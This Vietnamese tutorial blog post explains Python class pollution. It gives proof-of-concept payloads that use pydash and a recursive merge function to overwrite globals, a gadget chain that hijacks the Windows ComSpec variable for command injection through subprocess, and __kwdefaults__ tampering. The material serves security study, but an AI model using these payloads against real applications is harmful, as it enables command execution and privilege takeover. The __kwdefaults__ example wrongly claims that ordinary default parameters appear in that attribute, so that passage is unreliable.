- vừa được xem lúc

Bạn đã biết về lỗ hổng Class Pollution trong Python hay chưa (P2)?

0 0 12

Người đăng: Ngocanh Le

Theo Viblo Asia

Phần 1 của bài viết mình đã publish khá lâu trước đó. Đây là link phần 1 cho bạn nào chưa đọc. https://viblo.asia/p/ban-da-biet-ve-lo-hong-class-pollution-trong-python-hay-chua-p1-3kY4g5zxLAe.

Ở phần 2 này, mình sẽ trình bày và giải thích 1 số gadget, 1 số case thực tế của lỗ hổng này. Tuy lỗ hổng này chưa thực sự có impact gì nhiều (ít ra cho đến thời điểm hiện tại) nhưng theo quan điểm cá nhân của mình thì nó đáng giá để nghiên cứu và đào sâu hơn.

Link bài viết gốc của tác giả các bạn có thể truy cập tại đây : https://blog.abdulrah33m.com/prototype-pollution-in-python/.

Ví dụ thực tế về Merge Function

Hãy cùng xem các ví dụ thực tế về việc triển khai merge function.

Lodash là một trong những thư viện JavaScript nơi lỗ hổng prototype pollution đã được phát hiện và báo cáo nhiều lần. Bây giờ tôi sẽ giới thiệu cho bạn cách triển khai Lodash bằng Python, đó là thư viện Pydash. Các hàm trong thư viện Pydash bao gồm set_set_with là ví dụ về các recursive merge functions mà chúng ta có thể tận dụng để pollute các thuộc tính.

Điều tuyệt vời nhất là cả set_set_with đều cho phép chúng ta di chuyển giữa các thuộc tính và items của đối tượng trong dict. Các tham số được truyền vào set_set_with bao gồm:

  • Đối tượng ta cần set thuộc tính.
  • Tên của thuộc tính cần set
  • Giá trị để set cho thuộc tính

Ví dụ dưới đây thể hiện rõ cách sử dụng của set_

import pydash class User: def __init__(self): pass class NotAccessibleClass: pass
not_accessible_variable = 'Hello' pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')
print(not_accessible_variable) pydash.set_(User(), '__class__.__init__.__globals__.NotAccessibleClass.__qualname__','PollutedClass')
print(NotAccessibleClass) #> Polluted variable
#> <class '__main__.PollutedClass'> 

Một số gadget thú vị

Như mọi khi, trong lỗ hổng Prototype Pollution, impact của lỗ hổng phụ thuộc vào ứng dụng và các gadget có sẵn được tận dụng.

Mặc dù tôi không thể liệt kê tất cả các gadget mà bạn có thể tìm thấy nhưng trong phần này tôi sẽ cố gắng trình bày một số gadget thú vị mà bạn có thể gặp khi khai thác lỗ hổng class pollution.

subprocess.Popen on Windows

Trong ví dụ này, chúng ta có thể đặt bất kỳ thuộc tính hoặc item nào cho đối tượng mới được tạo của lớp Employee, bằng cách cung cấp payload dưới dạng JSON như được trình bày trước đó. Sau khi hàm merge được thực hiện, subprocess.Popen('whoami', shell=True) sẽ thực thi lệnh whoami.Bạn có thể thấy lệnh whoami được fix cứng trong mã nguồn. Vậy làm thế nào để chúng ta có thể khai thác Class Pollution ở đây. Mục tiêu của chúng ta ở đây là chiếm quyền thực thi hàm Popen để thực thi các lệnh tùy ý thay vì lệnh whoami.

import subprocess, json class Employee: def __init__(self): pass def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) emp_info = json.loads('{"name": "employee"}') # attacker-controlled value merge(emp_info, Employee()) subprocess.Popen('whoami', shell=True)

Cùng xem xét kĩ hơn về source code của mô-đun subprocess và quan sát Popen hoạt động như thế nào trên Windows.

image.png

Trong hàm __init__ của class Popen gọi đến hàm _execute_child. Hàm này thực hiện các program trên Windows

image.png

Nhảy vào hàm này và quan sát source code

if shell: startupinfo.dwFlags |= _winapi.STARTF_USESHOWWINDOW startupinfo.wShowWindow = _winapi.SW_HIDE if not executable: # gh-101283: without a fully-qualified path, before Windows # checks the system directories, it first looks in the # application directory, and also the current directory if # NeedCurrentDirectoryForExePathW(ExeName) is true, so try # to avoid executing unqualified "cmd.exe". comspec = os.environ.get('ComSpec') if not comspec: system_root = os.environ.get('SystemRoot', '') comspec = os.path.join(system_root, 'System32', 'cmd.exe') if not os.path.isabs(comspec): raise FileNotFoundError('shell not found: neither %ComSpec% nor %SystemRoot% is set') if os.path.isabs(comspec): executable = comspec else: comspec = executable args = '{} /c "{}"'.format (comspec, args)

Chúng ta nhận thấy rằng có một câu lệnh if để kiểm tra xem đối số shell có được đặt thành True hay không, nếu nó được đặt thành True, nó sẽ lấy đường dẫn của cmd.exe từ các biến môi trường của người dùng để thực thi lệnh. Ngược lại nếu biến môi trường ComSpec không được xác định thì nó sẽ đặt biến comspec thành C:\WINDOWS\system32\cmd.exe. Vì vậy, nếu chúng ta kiểm soát giá trị của ComSpec trong os.environ, chúng ta sẽ có thể thực thi các lệnh tùy ý.

Gadget chain mà chúng ta cần sử dụng để ghi đè biến môi trường ComSpec có thể được giải thích như sau:

  • Chúng ta sẽ bắt đầu bằng cách truy cập bất kỳ phương thức nào của đối tượng Employee để có thể truy cập thuộc tính __globals__, đó là __init__ trong trường hợp của chúng ta.
  • Sử dụng __globals__ chúng ta sẽ có thể truy cập mô-đun subprocess vì nó đã được import vào trong mã nguồn của chúng ta.
  • Trên những dòng đầu tiên của mô-đun subprocess, chúng ta có thể thấy rằng mô-đun os mà chúng ta cần để truy cập biến environ đã được import. Nếu mô-đun os đã được import trực tiếp vào script của chúng ta, ta có thể truy cập trực tiếp vào nó bằng cách sử dụng __init__.__globals__.os mà không cần sử dụng subprocess.image.png
  • Cuối cùng, sau khi vào mô-đun os, chúng ta có thể ghi đè giá trị ComSpec bên trong environ để thực hiện command injection

image.png

Ghi đè tham số __kwdefaults__

__kwdefaults__ là một thuộc tính đặc biệt của tất cả các hàm. Thuộc tính này chứa giá trị mặc định của các tham số từ khóa (keyword arguments) của một hàm hoặc phương thức. Khi bạn định nghĩa một hàm hoặc phương thức trong Python, bạn có thể sử dụng các tham số từ khóa mặc định để xác định giá trị mặc định cho các tham số đó. Ví dụ:

def greet(name="Guest", greeting="Hello"): return f"{greeting}, {name}!" 

Trong ví dụ này, name và greeting là các tham số từ khóa có giá trị mặc định là "Guest" và "Hello". Khi bạn gọi hàm greet() mà không truyền giá trị cho các tham số này, giá trị mặc định sẽ được sử dụng.

Thuộc tính __kwdefaults__ chứa thông tin về các giá trị mặc định của các tham số từ khóa trong hàm. Đây là một ví dụ minh họa:

def greet(name="Guest", greeting="Hello"): return f"{greeting}, {name}!" # Truy cập __kwdefaults__ của hàm greet
defaults = greet.__kwdefaults__ print(defaults)
# Kết quả: {'name': 'Guest', 'greeting': 'Hello'} 

Pollute thuộc tính này cho phép chúng ta kiểm soát các giá trị mặc định của các tham số, đây là các tham số của hàm nằm sau * hoặc *args.

import json def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class Employee: def __init__(self): pass def print_message(*, message='Hello there'): print(message) print(print_message.__kwdefaults__)
print_message() emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"print_message":{"__kwdefaults__":{"message":"Polluted default value"}}}}}}') # attacker-controlled value
merge(emp_info, Employee()) print(print_message.__kwdefaults__)
print_message() #> {'message': 'Hello there'}
#> Hello there #> {'message': 'Polluted default value'}
#> Polluted default value

Những gadget khác

Sẽ còn rất nhiều hướng khác dành cho các bạn nghiên cứu thêm về lỗ hổng này. Chẳng hạn:

  • Ghi đè secret của Flask app. Từ đó chiếm quyền admin hoặc user
  • Ghi đè path trong os.environ
  • .....

Bình luận

Bài viết tương tự

- vừa được xem lúc

Thao tác với File trong Python

Python cung cấp các chức năng cơ bản và phương thức cần thiết để thao tác các file. Bài viết này tôi xin giới thiệu những thao tác cơ bản nhất với file trong Python.

0 0 63

- vừa được xem lúc

Tập tành crawl dữ liệu với Scrapy Framework

Lời mở đầu. Chào mọi người, mấy hôm nay mình có tìm hiểu được 1 chút về Scrapy nên muốn viết vài dòng để xem mình đã học được những gì và làm 1 demo nho nhỏ.

0 0 166

- vừa được xem lúc

Sử dụng Misoca API (oauth2) với Python

Với bài viết này giúp chúng ta có thể nắm được. ・Tìm hiểu cách xử lý API misoca bằng Python.

0 0 49

- vừa được xem lúc

[Series Pandas DataFrame] Phân tích dữ liệu cùng Pandas (Phần 3)

Tiếp tục phần 2 của series Pandas DataFrame nào. Let's go!!. Ở phần trước, các bạn đã biết được cách lấy dữ liệu một row hoặc column trong Pandas DataFame rồi phải không nào. 6 Hoc.

0 0 63

- vừa được xem lúc

Lập trình socket bằng Python

Socket là gì. Một chức năng khác của socket là giúp các tầng TCP hoặc TCP Layer định danh ứng dụng mà dữ liệu sẽ được gửi tới thông qua sự ràng buộc với một cổng port (thể hiện là một con số cụ thể), từ đó tiến hành kết nối giữa client và server.

0 0 79

- vừa được xem lúc

[Series Pandas DataFrame] Phân tích dữ liệu cùng Pandas (Phần 2)

Nào, chúng ta cùng đến với phần 2 của series Pandas DataFrame. Truy xuất Labels và Data. Bạn đã biết cách khởi tạo 1 DataFrame của mình, và giờ bạn có thể truy xuất thông tin từ đó. Với Pandas, bạn có thể thực hiện các thao tác sau:.

0 0 95